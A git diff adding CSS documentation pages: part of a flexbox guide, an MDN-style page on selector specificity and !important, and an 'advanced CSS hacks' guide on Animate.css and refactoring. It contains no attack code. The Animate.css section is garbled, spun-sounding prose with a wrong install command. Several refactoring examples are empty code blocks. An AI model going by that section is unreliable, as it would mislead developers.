+  -webkit-box-ordinal-group: $val;  
+  -moz-box-ordinal-group: $val;     
+  -ms-flex-order: $val;     
+  -webkit-order: $val;  
+  order: $val;
+}
+
+.wrapper {
+  @include flexbox();
+}
+
+.item {
+  @include flex(1 200px);
+  @include order(2);
+}
+```
+
+### [](https://css-tricks.com/snippets/css/a-guide-to-flexbox//#aa-examples)Examples
+
+Let’s start with a very very simple example, solving an almost daily problem: perfect centering. It couldn’t be any simpler if you use flexbox.
+
+```css
+.parent {
+  display: flex;
+  height: 300px; /* Or whatever */
+}
+
+.child {
+  width: 100px;  /* Or whatever */
+  height: 100px; /* Or whatever */
+  margin: auto;  /* Magic! */
+}
+```
+
+This relies on the fact a margin set to `auto` in a flex container absorb extra space. So setting a margin of `auto` will make the item perfectly centered in both axes.
+
+Now let’s use some more properties. Consider a list of 6 items, all with fixed dimensions, but can be auto-sized. We want them to be evenly distributed on the horizontal axis so that when we resize the browser, everything scales nicely, and without media queries.
+
+```css
+.flex-container {
+  /* We first create a flex layout context */
+  display: flex;
+
+  /* Then we define the flow direction 
+     and if we allow the items to wrap 
+   * Remember this is the same as:
+   * flex-direction: row;
+   * flex-wrap: wrap;
+   */
+  flex-flow: row wrap;
+
+  /* Then we define how is distributed the remaining space */
+  justify-content: space-around;
+}
+```
+
+Done. Everything else is just some styling concern. Below is a pen featuring this example. Be sure to go to CodePen and try resizing your windows to see what happens.
+
+<iframe id="cp_embed_EKEYob" src="//codepen.io/anon/embed/EKEYob?height=450&amp;theme-id=1&amp;slug-hash=EKEYob&amp;default-tab=result" height="450" scrolling="no" frameborder="0" allowfullscreen="" allowpaymentrequest="" name="CodePen Embed EKEYob" title="CodePen Embed EKEYob" class="cp_embed_iframe" style="width: 100%; overflow: hidden; height: 100%;">CodePen Embed Fallback</iframe>
+
+Let’s try something else. Imagine we have a right-aligned navigation element on the very top of our website, but we want it to be centered on medium-sized screens and single-columned on small devices. Easy enough.
+
+```css
+/* Large */
+.navigation {
+  display: flex;
+  flex-flow: row wrap;
+  /* This aligns items to the end line on main-axis */
+  justify-content: flex-end;
+}
+
+/* Medium screens */
+@media all and (max-width: 800px) {
+  .navigation {
+    /* When on medium sized screens, we center it by evenly distributing empty space around items */
+    justify-content: space-around;
+  }
+}
+
+/* Small screens */
+@media all and (max-width: 500px) {
+  .navigation {
+    /* On small screens, we are no longer using row direction but column */
+    flex-direction: column;
+  }
+}
+```
+
+<iframe id="cp_embed_YqaKYR" src="//codepen.io/anon/embed/YqaKYR?height=250&amp;theme-id=1&amp;slug-hash=YqaKYR&amp;default-tab=result" height="250" scrolling="no" frameborder="0" allowfullscreen="" allowpaymentrequest="" name="CodePen Embed YqaKYR" title="CodePen Embed YqaKYR" class="cp_embed_iframe" style="width: 100%; overflow: hidden; height: 100%;">CodePen Embed Fallback</iframe>
+
+Let’s try something even better by playing with flex items flexibility! What about a mobile-first 3-columns layout with full-width header and footer. And independent from source order.
+
+```css
+.wrapper {
+  display: flex;
+  flex-flow: row wrap;
+}
+
+/* We tell all items to be 100% width, via flex-basis */
+.wrapper > * {
+  flex: 1 100%;
+}
+
+/* We rely on source order for mobile-first approach
+ * in this case:
+ * 1. header
+ * 2. article
+ * 3. aside 1
+ * 4. aside 2
+ * 5. footer
+ */
+
+/* Medium screens */
+@media all and (min-width: 600px) {
+  /* We tell both sidebars to share a row */
+  .aside { flex: 1 auto; }
+}
+
+/* Large screens */
+@media all and (min-width: 800px) {
+  /* We invert order of first sidebar and main
+   * And tell the main element to take twice as much width as the other two sidebars 
+   */
+  .main { flex: 3 0px; }
+  .aside-1 { order: 1; }
+  .main    { order: 2; }
+  .aside-2 { order: 3; }
+  .footer  { order: 4; }
+}
+```
+
+<iframe id="cp_embed_vWEMWw" src="//codepen.io/anon/embed/vWEMWw?height=350&amp;theme-id=1&amp;slug-hash=vWEMWw&amp;default-tab=result" height="350" scrolling="no" frameborder="0" allowfullscreen="" allowpaymentrequest="" name="CodePen Embed vWEMWw" title="CodePen Embed vWEMWw" class="cp_embed_iframe" style="width: 100%; overflow: hidden; height: 100%;">CodePen Embed Fallback</iframe>
+
+### [](https://css-tricks.com/snippets/css/a-guide-to-flexbox//#aa-flexbox-tricks)Flexbox Tricks
\ No newline at end of file
diff --git a/src/pages/docs/css/css-selector-specificity/index.md b/src/pages/docs/css/css-selector-specificity/index.md
new file mode 100644
index 0000000000..b2cddd0efd
--- /dev/null
+++ b/src/pages/docs/css/css-selector-specificity/index.md
@@ -0,0 +1,357 @@
+---
+title: CSS Selector Specificity
+template: docs
+excerpt: Specificity is a weight that is applied to a given CSS declaration
+---
+
+# Specificity
+
+**Specificity** is the means by which browsers decide which CSS property values are the most relevant to an element and, therefore, will be applied. Specificity is based on the matching rules which are composed of different sorts of [CSS selectors](https://developer.mozilla.org/en-US/docs/Web/CSS/Reference#selectors).
+
+## [How is specificity calculated?](https://developer.mozilla.org/en-US/docs/Web/CSS/Specificity#how_is_specificity_calculated 'Permalink to How is specificity calculated?')
+
+Specificity is a weight that is applied to a given CSS declaration, determined by the number of each [selector type](https://developer.mozilla.org/en-US/docs/Web/CSS/Specificity#selector_types) in the matching selector. When multiple declarations have equal specificity, the last declaration found in the CSS is applied to the element. Specificity only applies when the same element is targeted by multiple declarations. As per CSS rules, [directly targeted elements](https://developer.mozilla.org/en-US/docs/Web/CSS/Specificity#directly_targeted_elements_vs._inherited_styles) will always take precedence over rules which an element inherits from its ancestor.
+
+**Note:** [Proximity of elements](https://developer.mozilla.org/en-US/docs/Web/CSS/Specificity#tree_proximity_ignorance) in the document tree has no effect on the specificity.
+
+### [Selector Types](https://developer.mozilla.org/en-US/docs/Web/CSS/Specificity#selector_types 'Permalink to Selector Types')
+
+The following list of selector types increases by specificity:
+
+1.  [Type selectors](https://developer.mozilla.org/en-US/docs/Web/CSS/Type_selectors) (e.g., `h1`) and pseudo-elements (e.g., `::before`).
+2.  [Class selectors](https://developer.mozilla.org/en-US/docs/Web/CSS/Class_selectors) (e.g., `.example`), attributes selectors (e.g., `[type="radio"]`) and pseudo-classes (e.g., `:hover`).
+3.  [ID selectors](https://developer.mozilla.org/en-US/docs/Web/CSS/ID_selectors) (e.g., `#example`).
+
+Universal selector ([`*`](https://developer.mozilla.org/en-US/docs/Web/CSS/Universal_selectors)), combinators ([`+`](https://developer.mozilla.org/en-US/docs/Web/CSS/Adjacent_sibling_combinator), [`>`](https://developer.mozilla.org/en-US/docs/Web/CSS/Child_combinator), [`~`](https://developer.mozilla.org/en-US/docs/Web/CSS/General_sibling_combinator), [" "](https://developer.mozilla.org/en-US/docs/Web/CSS/Descendant_combinator), [`||`](https://developer.mozilla.org/en-US/docs/Web/CSS/Column_combinator)) and negation pseudo-class ([`:not()`](https://developer.mozilla.org/en-US/docs/Web/CSS/:not)) have no effect on specificity. (The selectors declared _inside_ `:not()` do, however.)
+
+For more information, visit: ["Specificity" in "Cascade and inheritance"](https://developer.mozilla.org/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance#specificity_2), you can also visit: [https://specifishity.com](https://specifishity.com)
+
+Inline styles added to an element (e.g., `style="font-weight: bold;"`) always overwrite any styles in external stylesheets, and thus can be thought of as having the highest specificity.
+
+### [The !important exception](https://developer.mozilla.org/en-US/docs/Web/CSS/Specificity#the_!important_exception 'Permalink to The !important exception')
+
+When an `important` rule is used on a style declaration, this declaration overrides any other declarations. Although technically `!important` has nothing to do with specificity, it interacts directly with it. Using `!important,` however, is **bad practice** and should be avoided because it makes debugging more difficult by breaking the natural [cascading](https://developer.mozilla.org/en-US/docs/Web/CSS/Cascade) in your stylesheets. When two conflicting declarations with the `!important` rule are applied to the same element, the declaration with a greater specificity will be applied.
+
+**Recommended guidelines:**
+
+-   **Always** look for a way to use specificity before even considering `!important`
+-   **Only** use `!important` on page-specific CSS that overrides foreign CSS (from external libraries, like Bootstrap or normalize.css).
+-   **Never** use `!important` when you're writing a plugin/mashup.
+-   **Never** use `!important` on site-wide CSS.
+
+**Instead of using `!important`, consider:**
+
+1.  Make better use of the CSS cascade
+2.  Use more specific rules. By indicating one or more elements before the element you're selecting, the rule becomes more specific and gets higher priority:
+
+    ```
+    <div id="test">
+      <span>Text</span>
+    </div>
+    ```
+
+    Copy to Clipboard
+
+    ```
+    div#test span { color: green; }
+    div span { color: blue; }
+    span { color: red; }
+    ```
+
+    Copy to Clipboard
+
+    No matter the order, text will be green because that rule is most specific. (Also, the rule for blue overwrites the rule for red, notwithstanding the order of the rules)
+
+3.  As a nonsense special case for (2), duplicate simple selectors to increase specificity when you have nothing more to specify.
+
+    ```
+    #myId#myId span { color: yellow; }
+    .myClass.myClass span { color: orange; }
+    ```
+
+    Copy to Clipboard
+
+#### How !important can be used:
+
+##### A) Overriding inline styles
+
+Your global CSS file that sets visual aspects of your site globally may be overwritten by inline styles defined directly on individual elements. Both inline styles and !important are considered bad practice, but sometimes you need the latter to override the former.
+
+In this case, you could set certain styles in your global CSS file as !important, thus overriding inline styles set directly on elements.
+
+```
+<div class="foo" style="color: red;">What color am I?</div>
+```
+
+Copy to Clipboard
+
+```
+.foo[style*="color: red"] {
+  color: firebrick !important;
+}
+```
+
+Copy to Clipboard
+
+Many JavaScript frameworks and libraries add inline styles. Using `!important` with a very targeted selector is one way to override these inline styles.
+
+##### B) Overriding high specificity
+
+```
+#someElement p {
+  color: blue;
+}
+
+p.awesome {
+  color: red;
+}
+```
+
+Copy to Clipboard
+
+How do you make `awesome` paragraphs always turn red, even ones inside `#someElement`? Without `!important`, the first rule will have more specificity and will win over the second rule.
+
+#### How to override `!important`
+
+A) Add another CSS rule with `!important`, and either give the selector a higher specificity (adding a tag, id or class to the selector), or add a CSS rule with the same selector at a later point than the existing one. This works because in a specificity tie, the last rule defined wins.
+
+Some examples with a higher specificity:
+
+```
+table td    { height: 50px !important; }
+.myTable td { height: 50px !important; }
+#myTable td { height: 50px !important; }
+```
+
+Copy to Clipboard
+
+B) Or add the same selector after the existing one:
+
+```
+td { height: 50px !important; }
+```
+
+Copy to Clipboard
+
+C) Or, preferably, rewrite the original rule to avoid the use of `!important` altogether.
+
+```
+[id="someElement"] p {
+  color: blue;
+}
+
+p.awesome {
+  color: red;
+}
+```
+
+Copy to Clipboard
+
+Including an id as part of an attribute selector instead of as an id selector gives it the same specificity as a class. Both selectors above now have the same weight. In a specificity tie, the last rule defined wins.
+
+#### For more information, visit:
+
+-   [https://stackoverflow.com/questions/3706819/what-are-the-implications-of-using-important-in-css](https://stackoverflow.com/questions/3706819/what-are-the-implications-of-using-important-in-css)
+-   [https://stackoverflow.com/questions/9245353/what-does-important-in-css-mean](https://stackoverflow.com/questions/9245353/what-does-important-in-css-mean)
+-   [https://stackoverflow.com/questions/5701149/when-to-use-important-property-in-css](https://stackoverflow.com/questions/5701149/when-to-use-important-property-in-css)
+-   [https://stackoverflow.com/questions/11178673/how-to-override-important](https://stackoverflow.com/questions/11178673/how-to-override-important)
+-   [https://stackoverflow.com/questions/2042497/when-to-use-important-to-save-the-day-when-working-with-css](https://stackoverflow.com/questions/2042497/when-to-use-important-to-save-the-day-when-working-with-css)
+
+### [The :is() and :not() exceptions](https://developer.mozilla.org/en-US/docs/Web/CSS/Specificity#the_is_and_not_exceptions 'Permalink to The :is() and :not() exceptions')
+
+The matches-any pseudo-class [`:is()`](https://developer.mozilla.org/en-US/docs/Web/CSS/:is) Experimental and the negation pseudo-class [`:not()`](https://developer.mozilla.org/en-US/docs/Web/CSS/:not) are _not_ considered a pseudo-class in the specificity calculation. But selectors placed into the pseudo-class count as normal selectors when determining the count of [selector types](https://developer.mozilla.org/en-US/docs/Web/CSS/Specificity#selector_types).
+
+This chunk of CSS ...
+
+```
+div.outer p {
+  color: orange;
+}
+
+div:not(.outer) p {
+  color: blueviolet;
+}
+```
+
+Copy to Clipboard
+
+... when used with the following HTML ...
+
+```
+<div class="outer">
+  <p>This is in the outer div.</p>
+  <div class="inner">
+    <p>This text is in the inner div.</p>
+  </div>
+</div>
+```
+
+Copy to Clipboard
+
+... appears on the screen like this:
+
+<iframe class="sample-code-frame" title="The is and not exceptions sample" id="frame_the_is_and_not_exceptions" src="https://yari-demos.prod.mdn.mozit.cloud/en-US/docs/Web/CSS/Specificity/_sample_.the_is_and_not_exceptions.html" loading="lazy">
+</iframe>
+<br>
+
+### [The :where() exception](https://developer.mozilla.org/en-US/docs/Web/CSS/Specificity#the_where_exception 'Permalink to The :where() exception')
+
+The specificity-adjustment pseudo-class [`:where()`](https://developer.mozilla.org/en-US/docs/Web/CSS/:where) Experimental always has its specificity replaced with zero.
+
+This chunk of CSS ...
+
+```
+div:where(.outer) p {
+  color: orange;
+}
+
+div p {
+  color: blueviolet;
+}
+```
+
+Copy to Clipboard
+
+```
+#no-where-support {
+  margin: 0.5em;
+  border: 1px solid red;
+}
+
+#no-where-support:where(*) {
+  display: none !important;
+}
+```
+
+... when used with the following HTML ...
+
+```
+<div id="no-where-support">
+⚠️ Your browser doesn't support the <code>
+<a href="https://developer.mozilla.org/docs/Web/CSS/:where" target="_top">:where()</a>
+</code> pseudo-class.
+</div>
+```
+
+```
+<div class="outer">
+  <p>This is in the outer div.</p>
+  <div class="inner">
+    <p>This text is in the inner div.</p>
+  </div>
+</div>
+```
+
+Copy to Clipboard
+
+... appears on the screen like this:
+
+<iframe class="sample-code-frame" title="The where exception sample" id="frame_the_where_exception" src="https://yari-demos.prod.mdn.mozit.cloud/en-US/docs/Web/CSS/Specificity/_sample_.the_where_exception.html" loading="lazy">
+</iframe>
+<br>
+
+### [Form-based specificity](https://developer.mozilla.org/en-US/docs/Web/CSS/Specificity#form-based_specificity 'Permalink to Form-based specificity')
+
+Specificity is based on the form of a selector. In the following case, the selector `*[id="foo"]` counts as an attribute selector for the purpose of determining the selector's specificity, even though it selects an ID.
+
+The following CSS styles ...
+
+```
+*#foo {
+  color: green;
+}
+
+*[id="foo"] {
+  color: purple;
+}
+```
+
+Copy to Clipboard
+
+... when used with this markup ...
+
+```
+<p id="foo">I am a sample text.</p>
+```
+
+Copy to Clipboard
+
+... end up looking like this:
+
+<iframe class="sample-code-frame" title="Form-based specificity sample" id="frame_form-based_specificity" src="https://yari-demos.prod.mdn.mozit.cloud/en-US/docs/Web/CSS/Specificity/_sample_.form-based_specificity.html" loading="lazy">
+</iframe>
+<br>
+
+This is because it matches the same element but the ID selector has a higher specificity.
+
+### [Tree proximity ignorance](https://developer.mozilla.org/en-US/docs/Web/CSS/Specificity#tree_proximity_ignorance 'Permalink to Tree proximity ignorance')
+
+The proximity of an element to other elements that are referenced in a given selector has no impact on specificity. The following style declaration ...
+
+```
+body h1 {
+  color: green;
+}
+
+html h1 {
+  color: purple;
+}
+```
+
+Copy to Clipboard
+
+... with the following HTML ...
+
+```
+<html>
+  <body>
+    <h1>Here is a title!</h1>
+  </body>
+</html>
+```
+
+Copy to Clipboard
+
+... will render as:
+
+<iframe class="sample-code-frame" title="Tree proximity ignorance sample" id="frame_tree_proximity_ignorance" src="https://yari-demos.prod.mdn.mozit.cloud/en-US/docs/Web/CSS/Specificity/_sample_.tree_proximity_ignorance.html" loading="lazy">
+</iframe>
+<br>
+
+This is because the two declarations have equal [selector type](https://developer.mozilla.org/en-US/docs/Web/CSS/Specificity#selector_types) counts, but the `html h1` selector is declared last.
+
+### [Directly targeted elements vs. inherited styles](https://developer.mozilla.org/en-US/docs/Web/CSS/Specificity#directly_targeted_elements_vs._inherited_styles 'Permalink to Directly targeted elements vs. inherited styles')
+
+Styles for a directly targeted element will always take precedence over inherited styles, regardless of the specificity of the inherited rule. This CSS ...
+
+```
+#parent {
+  color: green;
+}
+
+h1 {
+  color: purple;
+}
+```
+
+Copy to Clipboard
+
+... with the following HTML ...
+
+```
+<html>
+  <body id="parent">
+    <h1>Here is a title!</h1>
+  </body>
+</html>
+```
+
+Copy to Clipboard
+
+... will also render as:
+
+<iframe class="sample-code-frame" title="Directly targeted elements vs. inherited styles sample" id="frame_directly_targeted_elements_vs._inherited_styles" src="https://yari-demos.prod.mdn.mozit.cloud/en-US/docs/Web/CSS/Specificity/_sample_.directly_targeted_elements_vs._inherited_styles.html" loading="lazy">
+</iframe>
+<br>
+
+This is because the `h1` selector targets the element specifically, but the green selector is only inherited from its parent.
diff --git a/src/pages/docs/css/the-ultimate-guide-for-advanced-css-hacks/index.md b/src/pages/docs/css/the-ultimate-guide-for-advanced-css-hacks/index.md
new file mode 100644
index 0000000000..b3910bcb49
--- /dev/null
+++ b/src/pages/docs/css/the-ultimate-guide-for-advanced-css-hacks/index.md
@@ -0,0 +1,783 @@
+---
+title: The Ultimate guide for advanced CSS hacks
+template: docs
+excerpt: " It covers the following CSS topics"
+---
+<!--StartFragment-->
+
+If you have ever considered learning some advanced CSS tricks, than this guide is a great place start. It covers the following CSS topics;
+
+* Animate CSS
+* Refactoring CSS Code
+* Native CSS3 Animations
+* Using Color Gradients in CSS3
+* An Overview of CSS Positioning
+* An overview of CSS Selectors
+* Understanding specificity in CSS
+* Using WOW.js and Animate.css for Scroll-Triggered Animations
+* Introduction to CSS flexbox & Advanced CSS Selectors
+
+## What is Animate.CSS \[Tutorial]
+
+This section explains how getting started with Animate.css better supports web developers in creating creative and function animate designs through simple and efficient programming. To upgrade web content and improve application designs, Getting Started with Animate.css \[Tutorial] is a great way to make unique content. Developers gain an advantage over other competing sites with creative and different features, faster and better quality content, and better cross-browser compatibility when sharing web site content across the digital environment. The Animate.CSS library extension provides the tools, simplicity, and flexibility for all web and [mobile app development services](https://sunlightmedia.org/services/mobile-app-development/).
+
+CSS animation is an extension of Cascading Style Sheets (CSS) with different animation features. The module embeds a library of designs for websites an offers users with convenience, creativity, and professional web applications. Web developers Getting Started with Animate.css \[Tutorial] apply animation designs, edit CSS sequences, and improve website design through the Cascading Style Sheet extension. The extension simplifies developer interaction when implementing animation designs with straightforward configurations to specific HTML elements that require less processing and memory usage from Flash or JavaScript.
+
+### Advantages
+
+Without a doubt, Animate.CSS gains popularity from the developer community for simplicity and compatibility. Primarily, Animate.CSS has simple and ready to use style sheet scripts that copy and paste into developer website documents for high developer convenience. Also, the module is built to prevent users from settling for generic GIFS or Flash images that limit developer creativity and require additional steps that slow down project development completion times. Additionally, there are are a lot of shorthand animation design style scripts for animation properties when Getting Started with Animate.css. Importantly, the Cascading Styles Sheet (CSS) Animate.CSS program includes advanced keyframes extensions that better equip developers with design customization developer tools needed for creative and functional animated designs. Along with an easy to use the module, Animate also proves compatible for additional upgrades or improvements with Javascript.
+
+### How do Animations Work in Animate.CSS
+
+CSS animate is a unique library module built from a simple and [effective design](https://dev.to/iamdejean/basic-css-animation-3b86). To explain, Animate.CSS includes two main components for styling websites. The first component styles and stores information for CSS animations. However, the second component uses “keyframes” to signal web developers the beginning and end of sequences for animation designs. Also, this component uses advanced transition points to allow better animation configuration.
+
+### Creating an Animation
+
+CSS animations include primary and sub-property components. Usually, web developers getting started with Animate.css using Animate.CSS style-specific script elements and include additional designing styles for animation properties. More specifically, properties work between different stye functions to equip websites with functional and simple animations. Animation properties include wide criteria of style elements such as animation-name, duration, timing, and delays. Other forms include animation count, direction, fill, and play. Fortunately, the library module enables [responsive web designers](https://sunlightmedia.org/services/web-design/) to apply these properties to website animations with simple text sequences, rather than formatting and testing numerous codes with functional uncertainty.
+
+### Keyframes
+
+Through the.CSS Animate extension, users work with “keyframes” to create animation with component elements. For the benefit of users, the “keyframes” are setup through Cascading Style Sheets to offer users gradual editing capabilities to CSS style sets while allowing web developers to focus on important animation features. To elaborate, the “keystones” help users perform configurations within timing, duration, and in-depth detailing elements within a different design sequence.
+
+### **Keyframes At-rule**
+
+Additionally, the display of the animations requires users to operate “keyframes at-rule” to better connect with component elements. For more specific property configurations, the extension corrects animation values between design “keyframes.” For identification purposes, web developers value “keyframes at-rule” to edit multiple names within sequences and locate elements that do not have value to the CSS style set. Furthermore, the “keyframes at-rule” expands editing capabilities for web developers with useful code indicators for animations to better render elements during design styles.
+
+### Annimate.CSS Transform
+
+Equally important, Cascading Style Sheets (CSS) Animate.CSS features offer “transforming” properties for better element editing. Elements not compatible with CSS designs alter with the transform tool. Beneficially, developers using transform tools such as scale, rotate, skew, and translate will configure elements to better design on web applications. Transform properties, either 2d or 3d, provide users with additional designing creativity and functionality when creating websites.
+
+### Scale
+
+With scale, users of Animate.CSS adjust the dimensions of designs to better fit web content. The specific CSS transform function corrects width and heights of elements to better scale content on web apps. By default, scale values start with an attribute of one, which adjusts to a value greater or less than one form more or less scalability for elements. Put simply, the attributes on CSS enable proportionate corrections when handling scaling configurations to element and content design.
+
+### Skew
+
+To continue, the transform tools on Animate.CSS consists of a skew function for web developers. The design of element properties aligns with a horizontal and vertical axis on web apps which may be skew. Typically, the skew functions include “x” and “y” values to assist developers to distort elements on the axis.
+
+### Translate
+
+Another transform feature is CSS translate. Similarly, the translate function also shares “x” and “y” values to assist better design functionality for developers. Unlike the CSS skew function, they translate tool allows users to position a particular element within both the horizontal and vertical axis.
+
+### Rotate
+
+In addition, developers getting started with Animate.css use the transform tool also includes a rotate function for elements. With ease, users may adjust the angle of an element in any direction. The rotation values are positive when rotating content clockwise and drop off to negative values when adjusting an element counter-clockwise.
+
+### Matrix
+
+Finally, CSS transform features include matrix functions for elements. Especially useful for developers, the matrix tool joins 2d configurations onto a single element for universal editing applications.
+
+## Just-add-water CSS Animation
+
+The Animate.CSS system refers to “Just-Add-Water.” The module classifies as a “cross-browser” animations source which indicates its user-friendliness and simple design for new or established web developers.
+
+### Installation
+
+To begin, the administrators require installation of the Just Add Water Cascading Style Sheets Animation program. First, installation occurs via NPM. To define, the Node Package Manager collaborates with [JavaScript](https://sunlightmedia.org/javascript-tips/) script, which shares the design of Animate.CSS. By default, the programming language operates with Node.JS as a stable premise for web development. Next, users use this code “$ Node Package Manager install animate.css –save,” to install the program.
+
+Alternatively, the sequence follows “$ yarn add animate.css.” To further explain, a yarn installation also assists administrators with project installations. Ordinarily, “Yarn” associates installations with dependencies that use codes or another decency for installation. Unlike, the Node Packaging Manager (npm) install method, the “yarn” alternative does not apply a “–save” or “–sav-dev” when adding new programs. In-depth, a dependency can not operate unless with support from another more prominent program. The combination of the module and installation extensions collaborate with innovative new library models.
+
+## Using Animate.CSS \[Tutorial]
+
+On the Animate.CSS website, open-source codes are available for web developers. The user may select the [Download Animate.css](https://raw.github.com/daneden/animate.css/master/animate.css) to access different Cascading Style Sheet animation text. The list includes a wide variety of design styles and may apply directly to the user website. Additionally, the [download](https://raw.githubusercontent.com/daneden/animate.css/master/animate.css) code is another method for getting started with Animate.Css.
+
+### Getting started on Animate.CSS on Websites
+
+Applying the Cascading Style Sheets (CSS) stylesheets onto the developer website is easy, fast, and effective. However, text implementation requires user attention to detail. First, the Cascading Style Sheets (CSS) animate.CSS stylesheet must be correctly placed within the developer’s document “<head>.” Next, the administrator applies the “animated” stylesheet class to an element within the web application document. Also, the animated script follows CSS names to perform specific animation functions for the element. Alternatively, users may switch over to other versions, like CDNJS, as another host for Annimate.CSS element configurations. The format is shown below:
+
+## Animations on Animate.CSS
+
+Web designers getting started with Animate.css value simple and quality animation that differentiates content on web applications. The animation stylesheets provided on Animate.CSS includes an abundance of Cascading Style Sheet (CSS) animation styles that customize document elements. Moreover, to create an animation design to an element, the developer must input the “animated” tag. The class embeds within a document element and requires additional instruction to better define content attributes. Commonly, developers rely on an active element with a feature set to “infinite” to enable multiple cycles of animation designs within a web site. Also highly regarded, the duration constraints on animations, along with delays and user animation interaction are available within the Animate.CSS style sheets list.
+
+Shown below are animation classes for web developers getting started with Animate.css \[Tutorial] to implement into web application documents.
+
+## Start Timing Animations
+
+For the most part, web developers getting started with Annimate.CSS seek animation designs to improve the content on web sites. Reasonably, the animation should have the ability to perform as a method to attract site visitors to particular information on sites. Therefore, developers should understand how to configure elements in regard to animation delays, speed, and timing.
+
+### Delay
+
+Presently, Animate.CSS assists developers with delay features with a particular stylesheet. For example, a stylesheet with a delay function might appear like this: “<div class=”animated bounce delay-2s”>Example</div>.” In this scenario, a delay of two seconds occurs for an element that has a bounce animate class attached. Delay classes identify as “delay” and can alter delay functions from one to five seconds. Further delay periods are acceptable if users add Cascading Style Sheet (CSS) texts especially the code.
+
+### Speed
+
+Additionally, element designs on Annimate.CSS have speed time values. The developer may correct the speed of an animation using a specific stylesheet for the class. For instance, an animation time sequence may look like this: “<div class=”animate bounce faster”>Example</div>.” Moreover, the developer enables the animate element to bounce and creates a speed function of “faster.” Additionally, class names may refer to as “slow,” “slower,” “fast,” and “faster.” Along with class names, speed times like “2 seconds,” “3 seconds,” “800 milliseconds,” and “500 milliseconds” address the rate of the elements function. By default, the element rates set to a standard value of one second. Users, with additional extensions, may alter timings by manual text editing within the Cascading Style Sheets (CSS) Annimate.CSS stylesheets.
+
+## Start Custom Builds
+
+Previously mentioned, developers can manually adjust the Animate.CSS stylesheets to develop new animations separate from the standard defaults. Another source, such as “[gulp.js](https://gulpjs.com/),” is Animate.CSS compatible and offers easy to set up custom animation builds. More specifically, the cross-browser platform is an automation program for task development. For web developers and programmers, The Gulp extension analyzes and organizes a variety of pipe-driven files to support plug-ins on user servers. In this case, Gulp interacts with dependencies for the creation of personalized animation builds and functions.
+
+As an example, the initial phase calls developers to input the stylesheet script “$ cd path/to/animate.css/.” Once again, the administrator addresses the document with a “$ npm install.” After, web developers will join the builds into the “NPX Gulp” packaging program. As a plus, the packaging within Gulp is adjustable to include animate design styles to fit the web content. Users would edit this package with an “animate-config.json” script to select and choose appropriate builds. Selecting through the build options with values of “true” and “false” determine which builds are added or removed from the NPX Gulp list.
+
+## Animate.CSS with Javascript
+
+With Javascript, the Animate.CSS library module enables users with additional features for designing web applications. The features include more specific animation functions with specific directional instructions, animation timing signals, adding and removal animation keys, and post animation effects. Also, [Javascript offers better cross-browser functionality](https://sunlightmedia.org/javascript-tips/) for the Animate.CSS extension and allows users more flexibility on which decelerations perform best for user software.
+
+## Summary
+
+In summary, Animate.css is a cross-browser library module with simple and effective Cascading Style Sheet (CSS) programming. The design encourages developer creativity with compatibility for alternative dependencies and includes numerous animate design features. Along with different versions of design stylesheets, animation behavior also changes through programmer text interaction. Web application developers, with the support of Annimate.CSS, create more [responsive websites](https://sunlightmedia.org/portfolio/) with quality animations that are easy to maintain and provide unique website interaction.
+
+## Refactoring CSS Code
+
+Writing good code is about more than just getting the results you want on a webpage. Good code should be as efficient and concise as possible. While there are often numerous ways to achieve the same results, the most succinct and simple method is, with few exceptions, the ideal choice.
+
+There are two major benefits of writing good, clean code. Firstly, it can dramatically [improve site speed and performance](https://sunlightmedia.org/speed-up-wordpress/). The smaller your file is (and the fewer external requests you are sending) the less time it will take for your website to load in the browser. Secondly, writing good code has the invaluable benefit of making it easier to maintain. Whether you are coding a project on your own or with other developers involved, the more lean your code is (ideally with good documentation), the less it’s going to be a headache for anyone having to revisit the codebase.
+
+Best practices for writing good code are often applicable to all programming languages, although this post will specifically be tailored to improving the CSS on your website.
+
+### Remove unnecessary HTTP Requests
+
+Many times in the process of developing a website, you may end up with multiple external files and dependencies linked to from your HTML document or CSS files. You may try out multiple different fonts or CSS frameworks, hosted on an external CDN. Each one of these dependencies represents an HTTP request your site is making each time it is loaded in the browser. This puts a great strain on site load time, and all of these requests add up pretty quickly.
+
+If you added a bunch of external font files to your project, but are currently only referencing 1 or 2 in your CSS file, go through and remove any of these linked dependencies from the `<head>` of your HTML document.
+
+Are you only using a CSS framework for just a few lines of code? Consider copying and pasting these lines to your main `.css` stylesheet, and remove the link to the original CSS framework code.
+
+### Simplify & Consolidate CSS Rules
+
+While writing CSS, you may end up repeatedly writing the same rules for various different elements and selectors. In computer programming, the oft-repeated concept of “DRY” (Don’t Repeat Yourself) applies to CSS as well. Anytime you find yourself writing the same CSS rules for different selectors, find a way to consolidate them.
+
+For example, instead of writing:
+
+```
+
+```
+
+Consider writing:
+
+```
+
+```
+
+Or even better:
+
+```
+
+```
+
+While this may not seem like a big difference (at least in terms of lines of code), the total count of characters has been significantly reduced, which will have an impact on page load times. Additionally, it consolidates elements and selectors that are utilizing the same styles, making it clearer to see what common styles are being applied to different elements.
+
+### Reasses your ID & Class values
+
+It’s often tempting to assign an aspect of style presentation as your class or ID values, but this is far from ideal. For example, for an error message, it can often seem to make sense to use `red` as the class or ID value, like so:
+
+```
+
+```
+
+But what happens if you change the color or other styles of this class? This class will no longer have a direct relation to its content or presentation, and will most likely cause confusion. A better choice in this situation would be to use a class value that explains its function, rather than its stylistic presentation:
+
+```
+
+```
+
+It’s always a good idea to use class and ID values that describe the content or function of that element, rather than any stylistic descriptions. Style can change many times throughout the process of creating a site, but using descriptors for functions will make the code much more readable and easy to maintain.
+
+### Reasses your selector choices
+
+There are often many different ways of selecting an element, but there are often more efficient ways than others. While it is possible to nest selectors inside of each other in order to get to a specific element, if you find yourself having to go too many levels in, it might be best to reassess if a class or ID value would function better.
+
+### Check for redundancies
+
+In the process of styling your webpage, you may try out a variety of different colors, for example many shades of the same color. It’s easy to leave these different rule sets in your code, without deciding on a definitive single color. A good tool to use to check for these types of redundancies is [cssstats.com](http://cssstats.com/).
+
+Not only will this simplify your code, it will also make your overal design much more consistent, rather than having 40 different shades of a color on the site.
+
+### Minify your CSS files
+
+Once your CSS files are fully ready for production and deployment to a live server, it’s a good idea to minify them for best performance. A minifier will remove all white space from your source code, significantly reducing the file size. Since source code does not rely on white space for its functionality (only its readability), this will have no negative affect on how your site runs.
+
+There are many free tools for minifying CSS (and JS files). One option is [cssminifier.com](https://cssminifier.com/).
+
+### Consolidate your CSS files
+
